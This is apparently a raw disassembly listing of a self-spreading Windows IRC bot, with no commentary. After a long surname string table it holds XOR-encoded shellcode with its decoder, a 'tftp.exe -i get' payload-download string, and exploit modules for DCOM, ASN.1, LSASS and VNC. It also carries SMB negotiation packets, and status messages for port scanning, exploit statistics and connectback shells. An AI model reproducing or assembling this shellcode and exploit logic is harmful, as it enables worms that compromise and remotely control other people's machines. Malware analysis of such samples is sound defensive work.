aBreed db 'Breed',0 ; DATA XREF: ___:0042DBF0o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DBECo
align 10h
aBradach db 'Bradach',0 ; DATA XREF: ___:0042DBE8o
aBradac db 'Bradac',0 ; DATA XREF: ___:0042DBE4o
align 10h
aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DBE0o
align 4
aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DBDCo
align 4
aBoym db 'Boym',0 ; DATA XREF: ___:0042DBD8o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DBD4o
aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DBD0o
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DBCCo
align 4
aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DBC8o
align 10h
aBowers db 'Bowers',0 ; DATA XREF: ___:0042DBC4o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DBC0o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DBBCo
aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DBB8o
align 4
aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DBB4o
align 4
aBothman db 'Bothman',0 ; DATA XREF: ___:0042DBB0o
aBossi db 'Bossi',0 ; DATA XREF: ___:0042DBACo
align 4
aBorden db 'Borden',0 ; DATA XREF: ___:0042DBA8o
align 4
aBorack db 'Borack',0 ; DATA XREF: ___:0042DBA4o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DBA0o
align 4
aBoone db 'Boone',0 ; DATA XREF: ___:0042DB9Co
align 10h
aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DB98o
align 4
aBook db 'Book',0 ; DATA XREF: ___:0042DB94o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DB90o
align 10h
aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DB8Co
align 4
aBonham db 'Bonham',0 ; DATA XREF: ___:0042DB88o
align 4
aBoner db 'Boner',0 ; DATA XREF: ___:0042DB84o
align 4
aBologna db 'Bologna',0 ; DATA XREF: ___:0042DB80o
aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DB7Co
align 10h
aBolick db 'Bolick',0 ; DATA XREF: ___:0042DB78o
align 4
aBolger db 'Bolger',0 ; DATA XREF: ___:0042DB74o
align 10h
aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DB70o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DB6Co
aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DB68o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DB64o
aBloch db 'Bloch',0 ; DATA XREF: ___:0042DB60o
align 10h
aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DB5Co
aBliss db 'Bliss',0 ; DATA XREF: ___:0042DB58o
align 10h
aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DB54o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DB50o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DB4Co
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DB48o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DB44o
align 4
aBisho db 'Bisho',0 ; DATA XREF: ___:0042DB40o
align 4
aBisema db 'Bisema',0 ; DATA XREF: ___:0042DB3Co
align 4
aBir db 'Bir',0 ; DATA XREF: ___:0042DB38o
aBinion db 'Binion',0 ; DATA XREF: ___:0042DB34o
align 10h
aBickel db 'Bickel',0 ; DATA XREF: ___:0042DB30o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DB2Co
align 4
aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DB28o
aBetti db 'Betti',0 ; DATA XREF: ___:0042DB24o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DB20o
align 4
aBernston db 'Bernston',0 ; DATA XREF: ___:0042DB1Co
align 10h
aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DB18o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DB14o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DB10o
align 4
aBergson db 'Bergson',0 ; DATA XREF: ___:0042DB0Co
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DB08o
align 10h
aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DB04o
align 4
aBellini db 'Bellini',0 ; DATA XREF: ___:0042DB00o
aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DAFCo
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DAF8o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DAF4o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DAF0o
align 10h
aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DAECo
align 4
aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DAE8o
align 4
aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DAE4o
aBedford db 'Bedford',0 ; DATA XREF: ___:0042DAE0o
aBeder db 'Beder',0 ; DATA XREF: ___:0042DADCo
align 10h
aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DAD8o
aBean db 'Bean',0 ; DATA XREF: ___:0042DAD4o
align 10h
aBeal db 'Beal',0 ; DATA XREF: ___:0042DAD0o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DACCo
align 10h
aBayo db 'Bayo',0 ; DATA XREF: ___:0042DAC8o
align 4
aBayles db 'Bayles',0 ; DATA XREF: ___:0042DAC4o
align 10h
aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DAC0o
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DABCo
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DAB8o
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DAB4o
align 10h
aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DAB0o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DAACo
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DAA8o
aBarry db 'Barry',0 ; DATA XREF: ___:0042DAA4o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DAA0o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DA9Co
aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DA98o
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DA94o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DA90o
aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DA8Co
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DA88o
align 4
aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DA84o
aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DA80o
align 4
aBanta db 'Banta',0 ; DATA XREF: ___:0042DA7Co
align 10h
aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DA78o
align 4
aBallew db 'Ballew',0 ; DATA XREF: ___:0042DA74o
align 10h
aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DA70o
align 4
aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DA6Co
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DA68o
align 10h
aBailar db 'Bailar',0 ; DATA XREF: ___:0042DA64o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DA60o
aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DA5Co
aBady db 'Bady',0 ; DATA XREF: ___:0042DA58o
align 10h
aBackus db 'Backus',0 ; DATA XREF: ___:0042DA54o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DA50o
align 4
aAzima db 'Azima',0 ; DATA XREF: ___:0042DA4Co
align 4
aAyling db 'Ayling',0 ; DATA XREF: ___:0042DA48o
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DA44o
aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DA40o
aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DA3Co
align 10h
aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DA38o
aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DA34o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DA30o
align 10h
aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DA2Co
align 4
aArky db 'Arky',0 ; DATA XREF: ___:0042DA28o
align 10h
aArjas db 'Arjas',0 ; DATA XREF: ___:0042DA24o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DA20o
align 4
aArellano db 'Arellano',0 ; DATA XREF: ___:0042DA1Co
align 10h
aArduini db 'Arduini',0 ; DATA XREF: ___:0042DA18o
aArbia db 'Arbia',0 ; DATA XREF: ___:0042DA14o
align 10h
aAntos db 'Antos',0 ; DATA XREF: ___:0042DA10o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DA0Co
aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DA08o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DA04o
align 4
aAndron db 'Andron',0 ; DATA XREF: ___:0042DA00o
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D9FCo
align 4
aAndo db 'Ando',0 ; DATA XREF: ___:0042D9F8o
align 10h
aAndel db 'Andel',0 ; DATA XREF: ___:0042D9F4o
align 4
aAnand db 'Anand',0 ; DATA XREF: ___:0042D9F0o
align 10h
aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D9ECo
align 4
aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D9E8o
align 10h
aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D9E4o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D9E0o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D9DCo
align 10h
aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D9D8o
aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D9D4o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D9D0o
align 10h
aAllison db 'Allison',0 ; DATA XREF: ___:0042D9CCo
aAleks db 'Aleks',0 ; DATA XREF: ___:0042D9C8o
align 10h
aAlda db 'Alda',0 ; DATA XREF: ___:0042D9C4o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D9C0o
align 10h
aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D9BCo
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D9B8o
align 10h
aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D9B4o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D9B0o
align 10h
aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D9ACo
align 4
aAddison db 'Addison',0 ; DATA XREF: ___:off_42D9A8o
aAdams db 'Adams',0 ; DATA XREF: ___:0042D9A4o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D9A0o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D99Co
align 4
byte_4315F4 db 50h ; DATA XREF: ___:0040ABE6o
; ___:0040ABF3r
db 43h, 2 dup(0)
dword_4315F8 dd 7C7325h ; DATA XREF: ___:0040AC91o
dword_4315FC dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AD9Bo
dword_431604 dd 3F3F3Fh ; DATA XREF: ___:loc_40AD92o
; sub_41AF8F:loc_41B052o
dword_431608 dd 334B32h ; DATA XREF: ___:0040AD8Bo
dword_43160C dd 5058h ; DATA XREF: ___:0040AD7Do
; ___:0040AF89o ...
dword_431610 dd 4B32h ; DATA XREF: ___:0040AD6Do
; ___:0040AF79o ...
dword_431614 dd 454Dh ; DATA XREF: ___:0040AD54o
; ___:0040AF60o ...
dword_431618 dd 3839h ; DATA XREF: ___:0040AD44o
; ___:0040AF50o ...
dword_43161C dd 544Eh ; DATA XREF: ___:0040AD34o
; ___:0040AF41o ...
dword_431620 dd 3539h ; DATA XREF: ___:0040AD26o
; ___:0040AF33o ...
dword_431624 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADE1+3Ao
off_43162C dd offset asc_5D4D5B ; DATA XREF: sub_40ADE1+2Co
; sub_40ADE1+57o
; "ллллллллллллллллллллллллллллллллллллллл"...
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o
; sub_41875E+5o
align 4
aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: ___:0040B0D6o
align 4
a99 db '99',0 ; DATA XREF: ___:loc_40B098o
align 4
a0D db '0%d',0 ; DATA XREF: ___:0040B072o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: ___:0040B054o
; sub_41ADD8+52o
off_43165C dd offset byte_4B4E55 ; DATA XREF: ___:0040B037o
dword_431660 dd 345053h ; DATA XREF: ___:0040B02Do
dword_431664 dd 34h ; DATA XREF: ___:0040B021o
dword_431668 dd 335053h ; DATA XREF: ___:0040B014o
dword_43166C dd 33h ; DATA XREF: ___:0040B003o
dword_431670 dd 325053h ; DATA XREF: ___:0040AFF6o
dword_431674 dd 32h ; DATA XREF: ___:0040AFE5o
; =============== S U B R O U T I N E =======================================
sub_431678 proc near ; DATA XREF: ___:0040AFD8o
push ebx
push eax
xor [eax], eax
sub_431678 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_43167C dd 305053h ; DATA XREF: ___:0040AFBAo
dword_431680 dd 4E55h ; DATA XREF: ___:loc_40AF9Eo
dword_431684 dd 3332h ; DATA XREF: ___:0040AF97o
; ---------------------------------------------------------------------------
loc_431688: ; DATA XREF: sub_40B2B3+C4o
jmp short loc_43168C
; ---------------------------------------------------------------------------
loc_43168A: ; CODE XREF: ___:loc_43168Cp
jmp short loc_431691
; ---------------------------------------------------------------------------
loc_43168C: ; CODE XREF: ___:loc_431688j
call loc_43168A
loc_431691: ; CODE XREF: ___:loc_43168Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_431696 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw
db 80h, 73h, 0Eh
byte_43169B db 0FFh ; DATA XREF: sub_40B2B3+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_4316A0: ; DATA XREF: sub_40B2B3+A2o
jmp short loc_4316A4
; ---------------------------------------------------------------------------
loc_4316A2: ; CODE XREF: ___:loc_4316A4p
jmp short loc_4316A9
; ---------------------------------------------------------------------------
loc_4316A4: ; CODE XREF: ___:loc_4316A0j
call loc_4316A2
loc_4316A9: ; CODE XREF: ___:loc_4316A2j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_4316AD db 0FFh ; DATA XREF: sub_40B2B3+AAw
dw 7380h
db 0Ch
byte_4316B1 db 0FFh ; DATA XREF: sub_40B2B3+B0w
dw 0E243h
dd 0F9h
dword_4316B8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40B13C+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C dd 12h ; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0 db 'j',0
db 0E8h
dword_431735 dd 17h ; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_43173C
retn
; ---------------------------------------------------------------------------
byte_43173C db 0E8h ; CODE XREF: ___:00431739j
dword_43173D dd 1 ; DATA XREF: sub_40B13C+45w
byte_431741 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_43174B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
align 10h
aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o
; ___:0040E229o ...
align 4
dd 5 dup(0)
dword_4317F8 dd 0B97h ; DATA XREF: sub_401ACD+1D42r
; sub_401ACD+1D6Ao ...
off_4317FC dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr
dword_431800 dd 0 ; DATA XREF: sub_40B90E+2Eo
; ___:0040D759w ...
dword_431804 dd 1 ; DATA XREF: sub_40BD91+1Fr
dword_431808 dd 1 ; DATA XREF: sub_40BD91+3B3r
dword_43180C dd 0 ; DATA XREF: sub_40BD91+292r
aDcom135 db 'dcom135',0
dd 63440000h, 33316D6Fh, 35h, 5 dup(0)
dd 87h, 40DF4Ch, 0
dd 1, 2 dup(0)
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40EC1Fh, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 4
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D59Dh, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D59Dh, 0
dd 2 dup(1), 0
aVncs db 'vncs',0
align 4
dd 54480000h, 562D5054h, 434Eh, 5 dup(0)
dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445 db 'lsass_445',0
aLsass_445_0 db 'lsass_445',0
dd 5 dup(0)
dd 1BDh, 40E830h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_0 db 'asn445',0
align 4
db 2 dup(0)
byte_4319DA db 1 ; DATA XREF: sub_401ACD:loc_403789r
; sub_401ACD+1CC6o
db 73h
dd 6D79h, 0
dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_431A06
; =============== S U B R O U T I N E =======================================
sub_4319F6 proc near ; CODE XREF: sub_4319F6:loc_431A06p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_4319FE: ; CODE XREF: sub_4319F6+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4319FE
jmp short loc_431A0B
; ---------------------------------------------------------------------------
loc_431A06: ; CODE XREF: ___:004319F4j
call sub_4319F6
loc_431A0B: ; CODE XREF: sub_4319F6+Ej
jo short near ptr dword_431994+12h
cwde
cdq
cdq
retn
sub_4319F6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
align 4
dword_431B88 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B90E+46o
unk_431B94 db 2Dh ; - ; DATA XREF: sub_40B90E+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_431BB4 db 2Dh ; - ; DATA XREF: sub_40B9DD+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_431BFC db 2Dh ; - ; DATA XREF: sub_40BA49+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo
dword_431C38 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C48 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40BA9E+14o
dd 7473694Ch, 3Ah
unk_431C64 db 2Dh ; - ; DATA XREF: ___:0040BCD7o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_431C98 db 2Dh ; - ; DATA XREF: ___:0040BBE5o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
unk_431CC8 db 2Dh ; - ; DATA XREF: sub_40BD1A+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_431CE8 db 2Dh ; - ; DATA XREF: sub_40BD1A+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_431D04 db 2Dh ; - ; DATA XREF: sub_40BD91+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_30 db ' Failed to start server, error: <%d>.',0
align 4
unk_431D38 db 2Dh ; - ; DATA XREF: sub_40BD91+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_31 db '- Failed to start server, error: <%d>.',0
unk_431D70 db 2Dh ; - ; DATA XREF: sub_40BD91+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 10h
unk_431DA0 db 2Dh ; - ; DATA XREF: sub_40BD91+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_32 db 'Failed to start server, error: <%d>.',0
align 4
unk_431DD4 db 2Dh ; - ; DATA XREF: sub_40BD91+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
unk_431E08 db 2Dh ; - ; DATA XREF: sub_40BD91+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 4
unk_431E3C db 2Dh ; - ; DATA XREF: sub_40C3E8+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_431E64 db 2Dh ; - ; DATA XREF: sub_40C3E8+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431E9C db 2Dh ; - ; DATA XREF: sub_40C3E8+3E6o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_431EDC db 2Dh ; - ; DATA XREF: sub_40C3E8+38Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_431F14 db 2Dh ; - ; DATA XREF: sub_40C3E8+31Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F48 db 2Dh ; - ; DATA XREF: sub_40C3E8+29Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
dword_431F7C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h
; DATA XREF: sub_40C85F+92o
dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_40CD9E+B2o
align 10h
dword_432030 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao
dword_432038 dd 10FF8h ; DATA XREF: sub_40CD9E+79o
dword_43203C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o
dword_432044 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_4320FC dd 0 ; DATA XREF: sub_40D1C8+44o
dd 800000D4h, 0
unk_432108 db 81h ; │ ; DATA XREF: sub_40D2A2+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_432154 db 41h ; DATA XREF: sub_40D340+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
